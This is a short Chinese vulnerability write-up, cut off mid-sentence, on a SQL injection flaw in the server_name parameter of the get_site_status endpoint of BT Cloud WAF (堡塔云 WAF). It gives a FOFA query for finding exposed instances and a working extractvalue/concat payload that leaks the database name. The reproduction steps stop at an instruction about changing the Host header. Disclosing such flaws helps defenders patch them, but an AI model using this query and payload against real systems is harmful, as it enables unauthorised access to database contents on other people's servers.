产品描述
堡塔云 WAF 是广东堡塔安全技术有限公司的一款 WAF 产品。
漏洞描述
堡塔云 WAF get_site_status 接口 server_name 参数存在 SQL注入漏洞,攻击者可利用此漏洞获取数据库敏感信息。
影响范围
堡塔云 WAF
资产测绘
FOFA:
title==”404 - Website not exist!”
漏洞复现
SQL注入漏洞存在于 server_name参数处:
/get_site_status?server_name=’-extractvalue(1,concat(0x5c,database()))-‘1
修改HOST,并新增X-Forwoar